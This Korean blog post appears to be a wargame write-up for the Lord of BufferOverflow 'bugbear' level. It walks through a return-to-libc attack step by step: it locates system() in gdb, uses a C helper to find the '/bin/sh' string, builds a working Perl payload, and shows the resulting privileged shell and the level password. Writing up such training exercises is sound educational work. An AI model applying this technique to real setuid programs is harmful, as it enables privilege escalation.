이번 문제는 버그베어!?
bugbear.c를 열어보겠음.
if(argv[1][47] == '\xbf')
{
printf("stack betrayed you!!\n");
exit(0)
}
이 부분을 봅시다.
?? 지금 까지 있던 문제들은 모두 스택 영역에서만 코드를 실행할 수 있도록 했는데
이건 정반대로 스택 영역에서 코드 실행을 금지시키고 있다.
NX-bit 옵션을 준다는 얘기.
즉 RTL(Return-to-Libc)를 사용해야 된다는 말.
코드 상단에 주석에도 친절하게도 RTL 이라고 해뒀네.
포스팅을 읽고 왔다고 가정하고 문제 풀이를 진행하겠다.
일단 우리가 구해야 하는건
1. 라이브러리의 SYSTEM함수 주소
2. SYSTEM 함수 내부의 "/bin/sh" 문자열 위치
를 알아야 한다.
먼저 시스템함수 주소 부터 구해보자.
[darkknight@localhost darkknight]$ bash2
[darkknight@localhost darkknight]$ cp bugbear bugbeal
[darkknight@localhost darkknight]$ gdb -q bugbeal
(gdb) b *main+3
Breakpoint 1 at 0x8048433
(gdb) r aaa
Starting program: /home/darkknight/bugbeal aaa
/bin/bash: /home/skeleton/.bashrc: Permission denied
Breakpoint 1, 0x8048433 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
자 그럼 이제 "/bin/sh" 주소를 찾아보자.
간단한 프로그램을 만들어서 system함수 내의 "/bin/sh"를 찾는다.
[darkknight@localhost darkknight]$ vi findsh.c
#include <stdio.h>
main(){
long shell = 0x40058ae0;
while(memcmp((void*)shell,"/bin/sh",8))
shell++;
printf("%x\n",shell);
}
[darkknight@localhost darkknight]$ gcc -o findsh findsh.c
[darkknight@localhost darkknight]$ ./findsh
400fbff9
"/bin/sh" 문자열 위치도 찾았다. 그럼 공격만 하면 되겠네?
페이로드를 구성해봅시다.
[nop*44] [SYSTEM함수 주소] [nop*4] ["/bin/sh" 주소]
[darkknight@localhost darkknight]$ ./bugbear `perl -e 'print "\x90"x44,"\xe0\x8a\x05\x40","\x90"x4,"\xf9\xbf\x0f\x40"'`
릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱?@릱릱廈@
bash$ id
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
bash$ my-pass
euid = 513
new divide
bash$
공격 성공~
'IT 그리고 정보보안 > Write-up' 카테고리의 다른 글
LOB Level 15 (giant) (0) | 2021.04.12 |
---|---|
LOB Level 14 (bugbear) (0) | 2021.04.12 |
LOB Level 12 (golem) (0) | 2021.04.12 |
LOB Level 11 (skeleton) (0) | 2021.04.12 |
LOB Level 10 (vampire) (0) | 2021.04.12 |